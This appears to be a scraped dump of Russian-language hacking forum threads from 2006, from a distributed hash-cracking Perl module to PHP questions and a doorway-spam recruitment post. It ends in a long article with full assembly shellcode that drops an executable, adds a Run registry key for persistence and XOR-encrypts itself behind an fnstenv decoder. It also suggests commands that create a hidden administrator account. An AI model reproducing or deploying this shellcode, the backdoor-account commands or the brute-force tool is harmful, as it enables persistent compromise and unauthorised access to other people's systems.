                    open(TASKDB,">>$self->{taskFile}")||exit print __FILE__.": ".__LINE__.": can not open tasks database: ".$!."\n";
                    while(<TASKDB>)
                    {
                        if(/$splitResponse[2]/) { next; }
                        else { print TASKDB $_; }
                    }
                    close TASKDB;
                    return "found";
                }
                elsif($splitResponse[1] eq "NOTFOUND")
                {
                    $conn->send("STATUS:OK");
                    $conn->recv($response,128);
                    if($response eq "TASK:GET")
                    {
                        my @task=getTask($clCtr);
                        foreach(@task) { $conn->send($_,0,0); sleep(1); }
                        $conn->recv($response,128);
                        if($response eq "STATUS:OK")
                        {
                            close $conn&&undef $conn;
                            return "processed";
                        }
                        else
                        {
                            close $conn&&undef $conn;
                            return "failed";
                        }
                    }
                    else
                    {
                        close $conn&&undef $conn;
                        return "failed";
                    }
                }
                else
                {
                    close $conn&&undef $conn;
                    return "failed";
                }
            }
            else
            {
                close $conn&&undef $conn;
                return "failed";
            }
        }
        else
        {
            close $conn&&undef $conn;
            return "failed";
        }
    }
}

sub regNewClient
{
    my($self,$id)=@_;
    print "Debug: processing *new* client\n" if $self->{DEBUG};
    open(CLBD,$self->{clientsFile})||exit print __FILE__.": ".__LINE__.": can not open clients database: ".$!."\n";
    print CLBD $id."\n";
    close CLBD;
    print "Debug: *new* client have been added to database with id=".$id."\n";
}

sub verifyClient
{
    my($self,$id)=@_;
    print "Debug: verifieng client with id=".$id."\n" if $self->{DEBUG};
    open(CLIENTSDB,$self->{clientsFile})||exit print __FILE__.": ".__LINE__.": can not open clients database: ".$!."\n";
    while(<CLIENTSDB>)
    {
        chomp($_);
        close CLIENTSDB&&return "success" if($_ eq $id);
    }
    close CLIENTSDB&&return "failed";
}

sub getTask
{
    my($self,$taskId)=@_;
    print "Debug: getting a piece of task with id=".$taskId."\n" if $self->{DEBUG};
    my($taskReady,$currClientsNum)=0;
    my($id,$hash,$length,$charset,$range,$allVariants) ;
    open(TASKDB,$self->{taskFile})||exit print __FILE__.": ".__LINE__.": can not open tasks database: ".$!."\n";
    open(CLIENTSDB,$self->{clientsFile})||exit print __FILE__.": ".__LINE__.": can not open clients database: ".$!."\n";
    $currClientsNum++ while(<CLIENTSDB>);
    close CLIENTSDB;
    while(<TASKDB>)
    {
        if(/^$taskId;/)
        {
            chomp($_);
            ($id,$hash,$length,$charset)=split(';',$_);
            for(my $i=1;$i<=$length;$i++) { $allVariants.=$i**length($charset) }
            $range=int($allVariants/$currClientsNum);
            $taskReady=1;
        }
    }
    if($taskReady==0)
    {
        print __FILE__.": ".__LINE__.": no task with id=".$taskId."\n";
        return "failed";
    }
    close TASKDB;
    return my @retData=("TASK:HASH:".$hash,
                        "TASK:LENGTH:".$length,
                        "TASK:CHARSET:".$charset,
                        "TASK:RANGE:".$range);
}

1; # Единичка! Я закончил писать;)

# Distributed.pm
# (C)oded by .:[KSURi]:.
# http://cup.su/
помогите разобраться
ID: 67668b27b4103b69df375eb7
Thread ID: 13117
Created: 2006-10-31T08:23:46+0000
Last Post: 2006-10-31T13:18:05+0000
Author: *SiM*
Replies: 3 Views: 2K

Решил написать такой скрипт (php) который залив на сервак можно было зайти с клиентского компа, дать несколько ссылок, а он поочерёдно их скачает и сохранит в отдельную папку на сервере. Так вот вопрос: можно ли сделать как либо так, чтобы указав ссылки можно было спокойно закрыть браузер, выключить комп, пойти заниматься своими делами, фаилы потихонечку скачивались?

Книги по Ajax ?
ID: 67668b27b4103b69df375eb9
Thread ID: 13063
Created: 2006-10-29T09:23:26+0000
Last Post: 2006-10-29T15:54:04+0000
Author: wutang
Replies: 1 Views: 2K

Если у кого нить есть линки на книги или документацию по Ajax , огромная просьба складывать их тут...

DirectX Runtimes
ID: 67668b27b4103b69df375ebe
Thread ID: 12593
Created: 2006-10-15T19:40:00+0000
Last Post: 2006-10-15T19:40:00+0000
Author: scaM
Replies: 0 Views: 2K

DirectX Runtimes 10/10/2006 FULL

Обновился 10 октября

:zns5: Скачать|Download
Size: 56.8 mb

JavaScript
ID: 67668b27b4103b69df375ec1
Thread ID: 12293
Created: 2006-10-04T20:51:38+0000
Last Post: 2006-10-05T04:21:02+0000
Author: Pokoinik
Replies: 4 Views: 2K

Code:Copy to clipboard

javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.images; DIL=DI.length; function A(){for(i=0; i<DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5; DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5}R++ }setInterval('A()',5); void(0)

Вставьте в адресную строку в ослике и нажмите интер. Прикольно! :lol2:

зы должен быть открыт какой-нить сайт...

Выделение оставного подграфа
ID: 67668b27b4103b69df375ec8
Thread ID: 11613
Created: 2006-09-11T17:00:30+0000
Last Post: 2006-09-11T17:00:30+0000
Author: Pokoinik
Replies: 0 Views: 2K

Выделение оставного подграфа.
Народ, если у кого есть что-нибудь по данной теме - поделитесь плз.

Нужен сорс IP-чекера
ID: 67668b27b4103b69df375ec9
Thread ID: 11562
Created: 2006-09-09T17:14:25+0000
Last Post: 2006-09-11T08:40:20+0000
Author: aivus
Replies: 6 Views: 2K

Прива!

Подскажите, как можно в пхп проверить АЙПИ на коннект? :bang:

Всем спасибо!

З.Ы. Очень нужно!

Использование регулярных выражений в ассемблере
ID: 67668b27b4103b69df375eca
Thread ID: 11592
Created: 2006-09-10T14:08:58+0000
Last Post: 2006-09-11T04:31:25+0000
Author: Ŧ1LAN
Replies: 4 Views: 2K

Кто работал со строками на ассемблере, тот меня поймёт
Парсинг или обработка строк на этом языке пожалуй самая больная тема при написании проектов серьёзнее "Hello World". Ну можно с этим смириться, когда в коде необходимо это сделать пару тройку раз, а когда больше? И без того трудночитаемый ассемблерный код превращается просто в кашу.
Вы скажете, а зачем писать крупные проекты на ассемблере? Мы не будем выяснять ответ на этот вопрос, точно так же как не будем выяснять а нужно ли то, что я опишу ниже. Тот, кто с этим столкнётся или уже сталкивался - меня поймут, остальные могут прочесть просто для расширения кругозора
Люди, которые программируют на ЯВУ имеют возможность использовать очень мощный инструмент для работы со строками - регулярные выражения. Мало, кто с этим знаком, но поверьте регулярные выражения лучшее средство в работе со строковыми данными. Убедитесь в этом ниже. Тот, кто не знаком с регулярками я могу посоветовать книгу:
Фридл Дж. Регулярные выражения (2-е изд.), Питер 2003, 464 с. Её можно скачать и в электронном виде из сети. Прочтите хотя бы первые страниц 100, этого будет достаточно для составления простеньких выражений.
Итак, если я пишу на ВБ я использую интерфейс vbscript.dll, там хороший движок, но увы номеров COM интерфейсов я так и не нашёл. На С++ тоже есть движки, но я ниразу с выражениями на этом языке не работал(а кто работал можете собрать lib'y на каком-нибудь движке и выслать мне, буду благодарен). Ну что, остаётся делфи, там есть отличный компонент - TRegExpr. Но делфи компилирует файлы в формат OMF, а чтобы собрать либу и потом подключать её к своему проекту на ассемблере нам нужен формат COFF, конвертёров нет. Остаётся одно: писать dll с экспортируемой функцией. Что я и сделал, прототип функции следующий:

Code:Copy to clipboard

function Exec(Expessions: pChar; lpData: pChar; NextFlag: boolean; Splitter: pChar): dword; stdcall;

Expressions - само выражение.
lpData - указатель на данные, которые следует обработать.
NextFlag - у компонента TRegExpr есть метод ExecNext, который ищет следующее вхождение в данных. Так вот, этот флаг говорит о том надо ли его использовать, если не надо то мы просто проверим данные на хотя бы одно совпадение. Дальше поймёте
Splitter - Указатель на разделитель. Если флаг NextFlag установлен, то при выборке всех совпадений из даных они будут разделены между собой этой строкой.

Чтобы подключить dll к программе делаем так:

Code:Copy to clipboard

.data?
lpExec dd ?
.code
start:
invoke LoadLibrary, $CT0("regexp.dll")
invoke GetProcAddress, eax, $CT0("Exec")
mov lpExec,eax

Саму regexp.dll вы можете найти в приложении к статье.
Далее я объясню как работает функция Exec без флага NextFlag. Если NextFlag=0, то параметр Splitter тоже можно передавать как NULL, обязательными являются только первые два параметра, давайте их определим:

Code:Copy to clipboard

.data
Expressions db "^0x[a-fA-F0-9]+$",0
lpData db "0xFFFF1111",0

Допустим нам надо проверить является введённая строка шестнадцатиричным числом в сиподобном формате. Можете себе представить сколько бы это усилий заняло если бы вы использовали только ассемблер. А так мы объявляем простое выражение: 0x[a-fA-F0-9]+, которое можно разбить на три логических лексемы, если не считать символов ^ и $, они обозначают соответственно начало и конец строки:
0x - говорит о том, что первыми двумя символами в строке должны быть именно эти.
[a-fA-F0-9] - это называется символьный класс. В данном случае он означает, что в строке могут быть только следующие символы: 1234567890ABCDEFabcdef.
+ - этот метасимвол говорит о том, что таких символьных классов у нас может быть 1 и более.

Ну lpData - соответственно данные которые нужно проверить на соответствие выражению Expressions.

Ну что, вызываем функцию:

Code:Copy to clipboard

push 0
push 0
push offset lpData
push offset Expressions
call lpExec
test eax,eax
je @f
invoke MessageBox, 0, $CT0("True"), $CT0("Msg"),MB_OK+MB_ICONINFORMATION
@@:
Call ExitProcess

Запускаем программу и видим сообщение True! Работает Ради интереса измените lpData таким образом, чтобы он не соответствовал формату, ессно при этом сообщение вам лицезреть не придётся

Теперь ещё более полезная функция. Допустим имеются у нас такие данные:

lpData db "Мой почтовый ящик vasya_pupkin@mail.ru, но вы можете писать на pupkin_vasya@gmail.com",0

Нам нужно из этой строки выредгнуть все почтовые адреса и представить их в таком виде:
mail
mail

Нет ничего проще! Составляем выражение:

Code:Copy to clipboard

Expressions db "[_a-zA-Z\d\-\.]+@[_a-zA-Z\d\-]+(\.[_a-zA-Z\d\-]+)+",0

Сложновато? Знаю Но зато какой результат! В качестве разделителя у нас перенос строки, значит определяем параметр Splitter для функции Exec следующим образом:

Splitter db 13,10,0

И вызываем:

Code:Copy to clipboard

push offset Splitter
push 1
push offset lpData
push offset Expressions
call lpExec

После вызова в eax будет указатель на "отсеянные" данные:

Code:Copy to clipboard

test eax,eax
je @f
invoke MessageBox, 0, eax, $CT0("Msg"),MB_OK+MB_ICONINFORMATION
@@:
Call ExitProcess

Как результат видим такое сообщение:

---------------------------
Msg
---------------------------
vasya_pupkin@mail.ru
pupkin_vasya@gmail.com
---------------------------
ОК
---------------------------

Click to expand...

А теперь представьте сколько бы понадобилось сил, чтобы реализовать это на ассемблере
В качестве приложения в статье я даю regexp.dll и пример использования.

Приложение

BUG(O)R
http://hunger.ru
ICQ:827887

Источник:http://hunger.ru

PPC
ID: 67668b27b4103b69df375ed0
Thread ID: 11083
Created: 2006-08-29T18:15:35+0000
Last Post: 2006-08-30T13:40:49+0000
Author: [X]
Replies: 2 Views: 2K

Набираю более мение понятлевых рефералов (желательно с опытом). Для тех кто знает php большие плюсы :thumbsup:

Мои рефералы получают:

1. Софт для старта.
2. Хостинг для софта.
3. Хостинг для Доров.
4. Ответы на вопросы в Icq.

Те кто хотят сидеть просто так и получать по 100-5000$ в месяц прохадят мимо. А те кто действительно хотят заробатывать эти деньги своим трудом и упорством, пишут мне в ПМ.

phpMySql
ID: 67668b27b4103b69df375ed2
Thread ID: 10959
Created: 2006-08-27T16:16:45+0000
Last Post: 2006-08-27T16:16:45+0000
Author: Great
Replies: 0 Views: 2K

phpMySql 3.3

Первый релиз моего скрипта для обслуживания MySQL-базы данных. (типа rst'шного или phpMyAdmin)
:zns5: Скачать|Download (6 Kb rar)
Возможности:

  • Просмотр списка БД, списка таблиц в БД
  • Создание БД
  • Просмотр таблиц
  • Редактирование записей в таблицах
  • Удаление записей из таблиц
  • Очистка таблиц (truncate)
  • Бекап таблиц/БД 4 типов: бекап на удаление (только drop table), бекап структуры (без данных), полный бекап и полный бекап в формате .gz (для экономии траффика)
  • Выполнение "сырых" SQL-запросов

Планируется в ближайшее время:

  • Нормальный поиск
  • Изменение структуры таблиц (alter table)

Предложения, замечания сюда.

Запуск перл через фрикап
ID: 67668b27b4103b69df375ed3
Thread ID: 15613
Created: 2006-08-27T08:45:41+0000
Last Post: 2006-08-27T09:30:00+0000
Author: .to4ka
Replies: 4 Views: 2K

Ребят простите скажи быстренько-как мне .pl запустить в самом перле
через cmd запускал... А тут Перл гоню через Фрикап и нужно непосредственно в нем запустить..я новичок :baby:
а нужно только это знать и все,как запустить блин

Perl
ID: 67668b27b4103b69df375eda
Thread ID: 10457
Created: 2006-08-11T18:42:48+0000
Last Post: 2006-08-11T20:14:47+0000
Author: ][-user
Replies: 2 Views: 2K

собственно-место,где создается сокет:

Code:Copy to clipboard

use Tk;
use Tk::Menu;
use LWP::UserAgent;

как ее-модифицировать,чтобы она работал через сокс? :help:

СУБД
ID: 67668b27b4103b69df375ee0
Thread ID: 10294
Created: 2006-08-01T08:55:46+0000
Last Post: 2006-08-01T12:45:05+0000
Author: Lamer
Replies: 5 Views: 2K

Народ... глупый вопрос, но нужен ответ по факту... есть виндовый хостинг, на котором стоит MS SQL, а также и My SQL мне нужно как-то уговорить заказчика что лучше использовать MS SQL, сайт пишется на asp.net вообще ado.net поддерживает обращение к сторонним базам спокойно... но вот в чем вопрос... будет ли это логично из IIS вызывать MySQL ??? стоит ли MySQL на IIS или он стоит на Apache (на сервере это не написано, во всяком случаи не увидел) ??? Если стоит MySQL на Apache следовательно IIS будет отправлять запрос на Apache что в последствии будет немного подтормаживать работу сервера... да ??? вобщем, все тонкости работы кто-нибудь знает ??? ну или хотя бы частично...

нужно еще рассказать чем отличается MySQL от MS SQL ???
Буду очень благодарен за человеческое разъяснение... так что типа да MS SQL АЦтой не пишите... пишем по факту...

скрипт для прайса Excel
ID: 67668b27b4103b69df375ee1
Thread ID: 10163
Created: 2006-07-25T22:48:39+0000
Last Post: 2006-07-28T18:10:08+0000
Author: sunskript
Replies: 2 Views: 2K

Дамы, Господа...ищу скрипт конверта из EXCEL в HTML ...что то тип того... если кто знаете или обладаете инфой где взять и при этом не дать...прошу провести по данной директории...Удачи......

Python & urllib2
ID: 67668b27b4103b69df375ee2
Thread ID: 10234
Created: 2006-07-26T23:25:16+0000
Last Post: 2006-07-28T14:19:09+0000
Author: non3x
Replies: 3 Views: 2K

Вобщем проблема такая - скрипт работает через прокси, посылает определенные запросы, но при connection refused, 503 и т.п - валится.Я так понимаю надо замутить какой-то обработчик этой лажи, курил help к urllib2.Чувствую что истина где-то рядом :) если кто знает подскажите как, или в какую сторону рыть

Проблемка со скриптом отдачи очков за песни!
ID: 67668b27b4103b69df375ee4
Thread ID: 10161
Created: 2006-07-25T21:35:56+0000
Last Post: 2006-07-25T21:35:56+0000
Author: Димыч
Replies: 0 Views: 2K

Всем привет!Столкнулся с такой проблемой.Имеется плэй лист в котором человек может голосовать только раз в неделю и его максимальное количество очков отданное за песню 9 очков.Но у меня небольшая проблема:Когда я закачал этот файл на хостинг и попытался отдать 9 очков за песню то у меня песня после нажатия на кнопку отдать голос осталась стоять на месте.Скажите в чём ошибка?

Вот исходник

Авторизация, сессии...
ID: 67668b27b4103b69df375eee
Thread ID: 8966
Created: 2006-06-03T13:18:01+0000
Last Post: 2006-06-03T15:48:14+0000
Author: IFrin
Replies: 2 Views: 2K

Начал изучать php, поэтому в некоторых вопросах "дуб"
Mоя задача сделать вход админа в его панель управления сайтом через php c использованием сессий, при условии что существует некая таблицы БД с админами и юзверами (Mysql)
не могли бы вы помочь с решение данной задачи? пожалуйсто пишите коментарии к коду

Делаем кнопку закрыть неактивной
ID: 67668b27b4103b69df375ef0
Thread ID: 10096
Created: 2006-05-28T15:04:20+0000
Last Post: 2006-05-28T15:04:20+0000
Author: aivus
Replies: 0 Views: 2K

А вот Вам кодик интересный- делает кнопку "Закрыть" неактивной:
Создаем модуль с таким содержанием:

Code:Copy to clipboard

Public Declare Function GetSystemMenu Lib "user32" (ByVal hwnd As Long, _
        ByVal bRevert As Long) As Long
     Public Declare Function GetMenuItemCount Lib "user32" (ByVal hMenu As Long) As Long
     Public Declare Function RemoveMenu Lib "user32" (ByVal hMenu As Long, _
        ByVal nPosition As Long, ByVal wFlags As Long) As Long
     Public Declare Function DrawMenuBar Lib "user32" (ByVal hwnd As Long) As Long
      
     Public Const MF_BYPOSITION = &H400&
     Public Const MF_DISABLED = &H2&

Public Sub DisableX(frm As Form)
        Dim hMenu As Long, nCount As Long
        hMenu = GetSystemMenu(frm.hwnd, 0)
        nCount = GetMenuItemCount(hMenu)
        Call RemoveMenu(hMenu, nCount - 1, MF_DISABLED Or MF_BYPOSITION)
        DrawMenuBar frm.hwnd
     End Sub

В лоаде формы приписуем

Code:Copy to clipboard

Call DisableX(имя_формы)

:thumbsup:

Создание api независимого шеллкода
ID: 67668b27b4103b69df375ef1
Thread ID: 8753
Created: 2006-05-27T20:46:13+0000
Last Post: 2006-05-27T20:46:13+0000
Author: ZXroot
Replies: 0 Views: 2K

Вступление

Эта статья была написана, чтобы показать рядовому пользователю написание шеллкода для Windows OS без использования API. Спросишь, зачем это нужно? Всё просто: чем меньше мы будем вызывать API-функций, тем шире будет применение нашего шеллкода, тем на большее количество систем мы сможешь распространить своё влияние. Когда мы используем API, мы привязываем программу к конкретной оси, когда мы не сильно привязываем программу к определённому API, то программу легче перенести на другую ось: из nix'ов в Windows и наоборот. В этой статье я покажу API-независимый шелллкод и также покажу как его использовать. Чтобы понять эту статью, тебе необходимы знания по ассемблеру для 32-битной архитектуры ядра на базе Intel. В Сети есть трёхтомник в pdf(каждый том ~ 3Мб), который поможет тебе в изучении архитектуры ядра. Возможно они остались на p2p сетях.
Все шеллкоды были протестированны на Windows XP SP1.

Немного теории

Операционные системы, построенные по NT структуре, были спроектированы для многих подсистем, которые имеют своё собственное строение. Представь, ты сидишь под нт win32 и можешь использовать некоторые функции из POSIX и OS/2. Как была разработана такая OS? Мелкософт объединила все API в единое ядро и теперь, все нужные библиотеки уже есть в нашей системе, чтобы без проблем запускать сторонние приложения из OS/2 или POSIX. Правда, для этого всё равно понадобится портирование, но не такое, как если переносить код драйвера или программы из-под никсов в windows.

От "родных" API до системных вызовов.

Не уж то можно написать шеллкод без любых стандартных API? - задашься ты вопросом. Действительно, ерунда какая-то: для некоторых API это подходит, а для некоторых, увы, нет. Есть куча API, которые делают свою нелёгкую работу без вызовов NT API. Чтобы доказать это, давай проверим нашу теорию на примере API функции GetCommandLineA, которая экспортируется из KERNEL32.DLL.

.text:77E7E358 ; --------------- S U B R O U T I N E -------------------------
.text:77E7E358
.text:77E7E358
.text:77E7E358 ; LPSTR GetCommandLineA(void)
.text:77E7E358 public GetCommandLineA
.text:77E7E358 GetCommandLineA proc near
.text:77E7E358 mov eax, dword_77ED7614
.text:77E7E35D retn
.text:77E7E35D GetCommandLineA endp

Этот процесс вызова API не использует сторонние вызовы. Одно, что он делает это то, что он возвращается на указатель программы. Теперь давай проверим вторую функцию TerminateProcess.

.text:77E616B8 ; BOOL __stdcall TerminateProcess(HANDLE hProcess,UINT uExitCode)
.text:77E616B8 public TerminateProcess
.text:77E616B8 TerminateProcess proc near ; CODE XREF: ExitProcess+12 j
.text:77E616B8 ; sub_77EC3509+DA p
.text:77E616B8
.text:77E616B8 hProcess = dword ptr 4
.text:77E616B8 uExitCode = dword ptr 8
.text:77E616B8
.text:77E616B8 cmp [esp+hProcess], 0
.text:77E616BD jz short loc_77E616D7
.text:77E616BF push [esp+uExitCode] ; 1st param: Exit code
.text:77E616C3 push [esp+4+hProcess] ; 2nd param: Handle of process
.text:77E616C7 call ds:NtTerminateProcess ; NTDLL!NtTerminateProcess

Теперь ты можешь видеть, что последовательность выполнения API TerminateProcess заканчивается NtTerminateProcess, который экспортируется из NTDLL.DLL. - NTDLL.DLL - это родной апи. В общем, функции начинающеися с 'Nt' называют родными.
Теперь самое время посмотреть на NtTerminateProcess:

.text:77F5C448 public ZwTerminateProcess
.text:77F5C448 ZwTerminateProcess proc near ; CODE XREF: sub_77F68F09+D1 p
.text:77F5C448 ; RtlAssert2+B6 p
.text:77F5C448 mov eax, 101h ; syscall number: NtTerminateProcess
.text:77F5C44D mov edx, 7FFE0300h ; EDX = 7FFE0300h
.text:77F5C452 call edx ; call 7FFE0300h
.text:77F5C454 retn 8
.text:77F5C454 ZwTerminateProcess endp

Неплохо, неплохо. Это родной API помещает номер системного вызова к EAX и вызывает память в 7FFE0300h, следующим образом:

7FFE0300 8BD4 MOV EDX,ESP
7FFE0302 0F34 SYSENTER
7FFE0304 C3 RETN

Теперь всё ясно: EDX - это пользовательский указатель (хотя мы помним, что пользовательский указатель в ассамблере EAX), системного вызова для исполнения. SYSENTER выполняет вызов на уровень 0 системы, который прекращает работу.

Различия в осях

В Win2k (и других NT базирующихся ОСях, кроме XP или Vista) не используется SYSENTER. Всё же заметим, что в WinXP 'int 2eh' был заменён командой SYSENTER. Следующая схемка покажет системный вызов выполнения для Win2k:

MOV EAX, SyscallNumber ; requested syscall number
LEA EDX, [ESP+4] ; EDX = params...
INT 2Eh ; throw the execution to the KM handler
RET 4*NUMBER_OF_PARAMS ; return

МЫ уже знаем путь в WinXP, однако здесь я использую слегка изменённый шеллкод:

push fn ; push syscall number
pop eax ; EAX = syscall number
push eax ; this one makes no diff
call b ; put caller address on stack
b: add [esp],(offset r - offset B) ; normalize stack
mov edx, esp ; EDX = stack
db 0fh, 34h ; SYSENTER instruction
r: add esp, (param*4) ; normalize stack

Это показывает, что SYSENTER был введён в процессорах Pentium II Intel. Я не уверен, но можно предположить, что SYSENTER не поддержан Athlon'ами. Чтобы узнать, доступна ли эта команда на конкретном проце, используй команду CPUID вмсете с проверкой на флаг SEP и некоторые модельные проверки. Проверим, как это делает Интел:

IF (CPUID SEP bit is set)
THEN IF (Family = 6) AND (Model < 3) AND (Stepping < 3)
THEN
SYSENTER/SYSEXIT_NOT_SUPPORTED
FI;
ELSE SYSENTER/SYSEXIT_SUPPORTED
FI;

Уже ясно, что это не единственное различие в различных осях серии Windows - количество системных вызовов также меняется между различными версиями Windows, как показывает данная таблица:

Syscall symbol NtAddAtom NtAdjustPrivilegesToken NtAlertThread
Windows NT
SP 3 0x3 0x5 0x7
SP 4 0x3 0x5 0x7
SP 5 0x3 0x5 0x7
SP 6 0x3 0x5 0x7
Windows 2000
SP 0 0x8 0xa 0xc
SP 1 0x8 0xa 0xc
SP 2 0x8 0xa 0xc
SP 3 0x8 0xa 0xc
SP 4 0x8 0xa 0xc
Windows XP
SP 0 0x8 0xb 0xd
SP 1 0x8 0xb 0xd
SP 2 0x8 0xb 0xd
Windows 2003 Server
SP 0 0x8 0xc 0xe

Таблица системных вызовов доступны в Сети. Советую прошвырнуться на http://www.metasploit.com/.

ПРЕИМУЩЕСТВА ШЕЛЛКОДА С СИСТЕМНЫМИ ВЫЗОВАМИ

Есть много преимуществ, просто гора, но я приведу лишь самые интересные:

+ Шеллкод не требует вызова API, не ищет адреса API (ни ядра, ни экспорта, ни синтаксического анализа секции импорта и тд). Из-за этой особенности это поможет при обхождении ring3 (ты же читал справочник IA-32?) "предотвращения BoF".
+Такие механизмы защиты не останавливают BoF.
+ Так как наш шеллкод посылает запросы непосредственно ядерному обработчику, и мы перепрыгнули непосредственно через все команды подсистемы Win32, скорость нашего шеллкода будет молниеносной!
Хотя кому нужна большая скорость на Pentium IV 4 GHz, с 1024 DDR?

Идеи

Шеллкод в этой статье, создаёт дамп с файла и пишет ключ регистрации. Это вызвает запуск использованного файла после ребута.
Итак, что же делает наш шеллкод:

+ Открывает exe, чтобы выполнится в процессе
+ Создаёт процесс
+ Создаёт потоковые данные (стэк и Windows исполняемый поток).
+ Регистрирует подсистему Win32 нового процесса так, чтобы это могло установить новый процесс и поток
+ Завершает новый процесс и потока, заканчивает инициализацию адресного пространства (DLL) и выполняем программу.

Итак, наш шеллкод пропускает MessageBox. Хотя можно загрузить трояна с Сети, выполнить код на целевой машине, такой как этот: "net user /add zxroot zxpassword" & "net localgroup /add administrators zxroot". Эта идея может помочь тебе с оптимизацией, теперь шеллкод:

The shellcode - Proof Of Concept

comment $

-----------------------------------------------
WinNT (XP) Syscall Shellcode - Proof Of Concept
-----------------------------------------------
Written by: Piotr Bania
http://pb.specialised.info

$

include my_macro.inc
include io.inc

; --- CONFIGURE HERE

; If you want to change something here, you need to update size entries written above.

FILE_PATH equ "??\C:\b.exe",0 ; dropper
SHELLCODE_DROP equ "D:\asm\shellcodeXXX.dat" ; where to drop
; shellcode
REG_PATH equ "\Registry\Machine\Software\Microsoft\Windows\CurrentVersion\Run",0

;

KEY_ALL_ACCESS equ 0000f003fh ; const value

_S_NtCreateFile equ 000000025h ; syscall numbers for
_S_NtWriteFile equ 000000112h ; Windows XP SP1
_S_NtClose equ 000000019h
_S_NtCreateSection equ 000000032h
_S_NtCreateKey equ 000000029h
_S_NtSetValueKey equ 0000000f7h
_S_NtTerminateThread equ 000000102h
_S_NtTerminateProcess equ 000000101h

@syscall macro fn, param ; syscall implementation
local b, r ; for Windows XP
push fn
pop eax
push eax ; makes no diff
call b
b: add [esp],(offset r - offset B)
mov edx, esp
db 0fh, 34h
r: add esp, (param*4)
endm

path struc ; some useful structs
p_path dw MAX_PATH dup (?) ; converted from C headers
path ends

object_attributes struc
oa_length dd ?
oa_rootdir dd ?
oa_objectname dd ?
oa_attribz dd ?
oa_secdesc dd ?
oa_secqos dd ?
object_attributes ends

pio_status_block struc
psb_ntstatus dd ?
psb_info dd ?
pio_status_block ends

unicode_string struc
us_length dw ?
dw ?
us_pstring dd ?
unicode_string ends

call crypt_and_dump_sh ; xor and dump shellcode

sc_start proc

local u_string :unicode_string ; local variables
local fpath :path ; (stack based)
local rpath :path
local obj_a :object_attributes
local iob :pio_status_block
local fHandle :DWORD
local rHandle :DWORD

sub ebp,500 ; allocate space on stack
push FILE_PATH_ULEN ; set up unicode string
pop [u_string.us_length] ; length
push 255 ; set up unicode max string
pop [u_string.us_length+2] ; length
lea edi,[fpath] ; EDI = ptr to unicode file
push edi ; path
pop [u_string.us_pstring] ; set up the unciode entry

call a_p1 ; put file path address
a_s: db FILE_PATH ; on stack
FILE_PATH_LEN equ $ - offset a_s
FILE_PATH_ULEN equ 18h

a_p1: pop esi ; ESI = ptr to file path
push FILE_PATH_LEN ; (ascii one)
pop ecx ; ECX = FILE_PATH_LEN
xor eax,eax ; EAX = 0

a_lo: lodsb ; begin ascii to unicode
stosw ; conversion do not forget
loop a_lo ; to do sample align

lea edi,[obj_a] ; EDI = object attributes st.
lea ebx,[u_string] ; EBX = unicode string st.
push 18h ; sizeof(object attribs)
pop [edi.oa_length] ; store
push ebx ; store the object name
pop [edi.oa_objectname]
push eax ; rootdir = NULL
pop [edi.oa_rootdir]
push eax ; secdesc = NULL
pop [edi.oa_secdesc]
push eax ; secqos = NULL
pop [edi.oa_secqos]
push 40h ; attributes value = 40h
pop [edi.oa_attribz]

lea ecx,[iob] ; ECX = io status block
push eax ; ealength = null
push eax ; eabuffer = null
push 60h ; create options
push 05h ; create disposition
push eax ; share access = NULL
push 80h ; file attributes
push eax ; allocation size = NULL
push ecx ; io status block
push edi ; object attributes
push 0C0100080h ; desired access
lea esi,[fHandle]
push esi ; (out) file handle
@syscall _S_NtCreateFile, 11 ; execute syscall

lea ecx,[iob] ; ecx = io status block
push eax ; key = null
push eax ; byte offset = null
push main_exploit_s ; length of data
call a3 ; ptr to dropper body

s1: include msgbin.inc ; dopper data
main_exploit_s equ $ - offset s1

a3: push ecx ; io status block
push eax ; apc context = null
push eax ; apc routine = null
push eax ; event = null
push dword ptr [esi] ; file handle
@syscall _S_NtWriteFile, 9 ; execute the syscall

mov edx,edi ; edx = object attributes
lea edi,[rpath] ; edi = registry path
push edi ; store the pointer
pop [u_string.us_pstring] ; into unicode struct
push REG_PATH_ULEN ; store new path len
pop [u_string.us_length]

call a_p2 ; store the ascii reg path
a_s1: db REG_PATH ; pointer on stack
REG_PATH_LEN equ $ - offset a_s1
REG_PATH_ULEN equ 7eh

a_p2: pop esi ; esi ptr to ascii reg path
push REG_PATH_LEN
pop ecx ; ECX = REG_PATH_LEN

a_lo1: lodsb ; little ascii 2 unicode
stosw ; conversion
loop a_lo1

push eax ; disposition = null
push eax ; create options = null
push eax ; class = null
push eax ; title index = null
push edx ; object attributes struct
push KEY_ALL_ACCESS ; desired access
lea esi,[rHandle]
push esi ; (out) handle
@syscall _S_NtCreateKey,6

lea ebx,[fpath] ; EBX = file path
lea ecx,[fHandle] ; ECX = file handle
push eax
pop [ecx] ; nullify file handle

push FILE_PATH_ULEN - 8 ; push the unicode len
; without 8 (no '??')
push ebx ; file path
add [esp],8 ; without '??'
push REG_SZ ; type
push eax ; title index = NULL
push ecx ; value name = NULL = default
push dword ptr [esi] ; key handle
@syscall _S_NtSetValueKey,6 ; set they key value

dec eax
push eax ; exit status code
push eax ; process handle
; -1 current process
@syscall _S_NtTerminateProcess,2 ; maybe you want
; TerminateThread instead?

ssc_size equ $ -offset sc_start

sc_start endp

exit:
push 0
@callx ExitProcess

crypt_and_dump_sh: ; this gonna' xor
; the shellcode and
mov edi,(offset sc_start - 1) ; add the decryptor
mov ecx,ssc_size ; finally shellcode file
; will be dumped
xor_loop:
inc edi
xor byte ptr [edi],96h
loop xor_loop

_fcreat SHELLCODE_DROP,ebx ; some of my old crazy
_fwrite ebx,sh_decryptor,sh_dec_size ; io macros
_fwrite ebx,sc_start,ssc_size
_fclose ebx

jmp exit

sh_decryptor: ; that's how the decryptor
xor ecx,ecx ; looks like
mov cx,ssc_size

fldz
sh_add: fnstenv [esp-12] ; fnstenv decoder
pop edi
add edi,sh_dec_add

sh_dec_loop:
inc edi
xor byte ptr [edi],96h
loop sh_dec_loop

sh_dec_add equ ($ - offset sh_add) + 1
sh_dec_size equ $ - offset sh_decryptor

end start

Заключение

Я надеюсь, что тебе понравилась статья. Если ты что-нибудь придумал, то напиши мне, так же помни, что код для исследования, а не взлома!

Прочти

"Inside the Native API" автор: Марк Руссинович, автор RootkitRevealer и многих других полезных программ
